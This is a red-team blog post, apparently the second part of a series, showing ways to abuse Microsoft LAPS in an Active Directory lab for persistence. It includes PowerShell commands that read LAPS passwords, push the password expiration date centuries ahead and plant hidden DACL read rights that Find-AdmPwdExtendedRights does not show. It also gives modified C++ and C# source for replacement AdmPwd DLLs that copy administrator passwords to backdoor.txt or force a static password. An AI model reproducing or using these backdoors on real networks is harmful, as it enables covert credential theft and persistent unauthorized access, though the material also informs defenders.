In Part 1 we explored how one could go about discovering and mapping the LAPS configuration in a domain. In this part, we’ll look at various ways LAPS can be abused for persistence purposes.
If you have access to a computer that has the LAPS PowerShell cmdlets installed, grabbing the password is very straight forward.
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : q+}W+83O
ExpirationTimestamp : 16/04/2018 11:25:24
This can also be done using PowerView.
PS H:\> Get-DomainObject -Identity wkstn02 -Properties ms-mcs-admpwd
ms-mcs-admpwd
-------------
q+}W+83O
Get-DomainObject
also accepts a -Credential
parameter.
As part of the first time LAPS setup Set-AdmPwdComputerSelfPermission
is run, which grants permissions for NT AUTHORITY\SYSTEM
to update the ms-mcs-admpwd
and ms-mcs-admpwdexpirationtime
attributes on its own computer object. Having SYSTEM
access on a machine allows you to manually modify these attributes.
When a computer runs gpupdate
, it will check the ms-mcs-admpwdexpirationtime
attribute - if that time has elapsed it will update the LAPS password and set a new expiration time. By extending this time to some absurd value, you can ensure the password is never updated (unless forced with Reset-AdmPwdPassword
).
PS H:\> Get-DomainObject -Identity wkstn02 -Properties ms-mcs-admpwdexpirationtime
ms-mcs-admpwdexpirationtime
---------------------------
131678386982930135
PS C:\> hostname; whoami
wkstn02
nt authority\system
PS C:\> Set-DomainObject -Identity wkstn02 -Set @{'ms-mcs-admpwdexpirationtime'='231678386982930135'} -Verbose
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : 0yNk}t4a
ExpirationTimestamp : 01/03/2335 06:44:58
This DLL is used by the local computer to carry out all the LAPS functionality. There is no integrity checking on this DLL, which means it can be replaced with a modified version. The AdmPwd Project source code can be used as a base for compiling our own.
This is the portion of code that generates a new password and reports it to AD.
//it's time to change the password
//get local Administrator account we're managing password for
LogData.dwID = S_GET_ADMIN;
AdminAccount admin(config.AdminAccountName);
PasswordGenerator gen(config.PasswordComplexity, config.PasswordLength);
TCHAR *newPwd = gen.Generate();
//report new password and timestamp to AD
GetSystemTimeAsFileTime(¤tTime);
LogData.dwID = S_REPORT_PWD;
LogData.hr = comp.ReportPassword(newPwd, ¤tTime, config.PasswordAge);
if (FAILED(LogData.hr))
throw LogData.hr;
else
{
LogData.dwID = S_REPORT_PWD_SUCCESS;
LogAppEvent(&LogData);
}
In this example, I add a few lines to take the newly generated password and write it to c:\backdoor.txt
. This is just a re-creation of Maxime Clementz and Antoine Goichot’s work, which can be found here.
LogData.hr = comp.ReportPassword(newPwd, ¤tTime, config.PasswordAge);
using namespace std;
wofstream backdoor;
backdoor.open("c:\\backdoor.txt");
backdoor << newPwd;
backdoor.close();
PS C:\> gpupdate /target:computer /force
PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 13/03/2018 21:55 PerfLogs
d-r--- 10/03/2018 14:28 Program Files
d-r--- 16/07/2016 12:47 Program Files (x86)
d-r--- 11/03/2018 12:48 Users
d----- 13/03/2018 21:55 Windows
-a---- 17/03/2018 10:47 12 backdoor.txt
PS C:\> cat .\backdoor.txt
3s##5v2BS{70
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : 3s##5v2BS{70
ExpirationTimestamp : 16/04/2018 11:47:59
You could also force it to set a static password.
//TCHAR *newPwd = gen.Generate();
TCHAR *newPwd = _T("Static Password!");
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : Static Password!
ExpirationTimestamp : 16/04/2018 11:50:55
Really, the skies the limit here.
The AdmPwd.PS.dll
found in C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
can also be replaced.
The following source is for the Get-AdmPwdPassword
cmdlet.
[Cmdlet("Get", "AdmPwdPassword")]
public class GetPassword : Cmdlet
{
[Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true)]
public String ComputerName;
protected override void ProcessRecord()
{
foreach (string dn in DirectoryUtils.GetComputerDN(ComputerName))
{
PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
WriteObject(pi);
}
}
}
Here I add similar lines of code, where the password information is output to file after an administrator asks for it. Again, you could do a lot more here - exfil them out over C2 for example.
[Cmdlet("Get", "AdmPwdPassword")]
public class GetPassword : Cmdlet
{
[Parameter(Mandatory = true, Position = 0, ValueFromPipeline = true)]
public String ComputerName;
protected override void ProcessRecord()
{
foreach (string dn in DirectoryUtils.GetComputerDN(ComputerName))
{
PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
string[] info = { pi.DistinguishedName, pi.Password, (pi.ExpirationTimestamp).ToLongDateString() + " " + (pi.ExpirationTimestamp).ToLongTimeString() };
string path = Environment.GetEnvironmentVariable("TEMP") + "\\backdoor.txt";
System.IO.File.WriteAllLines(path, info);
WriteObject(pi);
}
}
}
PS H:\> ls $env:temp
Directory: C:\Users\jlpicard\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 08/03/2018 21:26 Low
d----- 17/03/2018 11:15 VirtualBox Dropped Files
-a---- 08/03/2018 21:37 0 Kno132E.tmp
-a---- 08/03/2018 21:39 1512 StructuredQuery.log
-a---- 08/03/2018 21:26 685 wmsetup.log
PS H:\> Get-AdmPwdPassword -ComputerName wkstn02 | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : 35.6W5a.
ExpirationTimestamp : 16/04/2018 12:18:56
PS H:\> ls $env:temp
Directory: C:\Users\jlpicard\AppData\Local\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 08/03/2018 21:26 Low
d----- 17/03/2018 11:15 VirtualBox Dropped Files
-a---- 17/03/2018 11:19 58 backdoor.txt
-a---- 08/03/2018 21:37 0 Kno132E.tmp
-a---- 08/03/2018 21:39 1512 StructuredQuery.log
-a---- 08/03/2018 21:26 685 wmsetup.log
PS H:\> cat C:\Users\jlpicard\AppData\Local\Temp\backdoor.txt
CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
35.6W5a.
16 April 2018 12:18:56
Once you have something like domain admin, you can modify the principals that have the necessary extended rights over the LAPS attributes to read the passwords. Find-AdmPwdExtendedRights
is the default tool to see this information.
PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl
ObjectDN : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}
ObjectDN : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
You can also use the default Set-AdmPwdReadPasswordPermission
tool to grant permission over an OU to a user/group.
PS H:\> Set-AdmPwdReadPasswordPermission -Identity "Workstations" -AllowedPrincipals "LAB\rlaren"
Name DistinguishedName Status
---- ----------------- ------
Workstations OU=Workstations,DC=testlab,DC=local Delegated
The obvious downside, is that it will appear under Find-AdmPwdExtendedRights
.
PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl
ObjectDN : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\rlaren, LAB\Workstation Admins}
ObjectDN : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
Andy Robbins and Will Schroeder gave an excellent talk at Black Hat US-17 about DACL backdoors, where they demonstrated (amongst others) that you can add these Extended Rights without Find-AdmPwdExtendedRights
being able to see them.
You can do this at the OU and individual Computer level.
PS H:\> $Raw = Get-DomainOU -Raw Workstations
PS H:\> $Target = $Raw.GetDirectoryEntry()
PS H:\> $AdmPwdGUID = (Get-DomainGUIDMap).GetEnumerator() | ? { $_.value -eq 'ms-Mcs-AdmPwd' } | select -ExpandProperty name
PS H:\> $ACE = New-ADObjectAccessControlEntry -InheritanceType Descendents -AccessControlType Allow -PrincipalIdentity rlaren -Right ExtendedRight -ObjectType $AdmPwdGUID
PS H:\> $Target.PsBase.ObjectSecurity.AddAccessRule($ACE)
PS H:\> $Target.PsBase.CommitChanges()
PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl
ObjectDN : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}
ObjectDN : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
PS H:\> Get-AdmPwdPassword -ComputerName "wkstn02" | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password : s;89}],Q
ExpirationTimestamp : 16/04/2018 15:09:35
PS H:\> $Raw = Get-DomainComputer -Identity wkstn01 -Raw
PS H:\> Get-AdmPwdPassword -ComputerName "wkstn02" | fl
ComputerName : WKSTN02
DistinguishedName : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password :
ExpirationTimestamp : 16/04/2018 15:09:35
PS H:\> Get-AdmPwdPassword -ComputerName "wkstn01" | fl
ComputerName : WKSTN01
DistinguishedName : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
Password : 1;/)2okP
ExpirationTimestamp : 09/04/2018 15:46:17
PS H:\> Find-AdmPwdExtendedRights -Identity "Workstations" -IncludeComputers | fl
ObjectDN : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\Workstation Admins}
ObjectDN : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
ObjectDN : CN=WKSTN04,OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, S-1-5-32-548, LAB\Domain Admins}
I hope this post gives you some ideas about how LAPS can be abused. Please hit me up if you think I’ve missed anything, or if you want to share any tricks that you may have.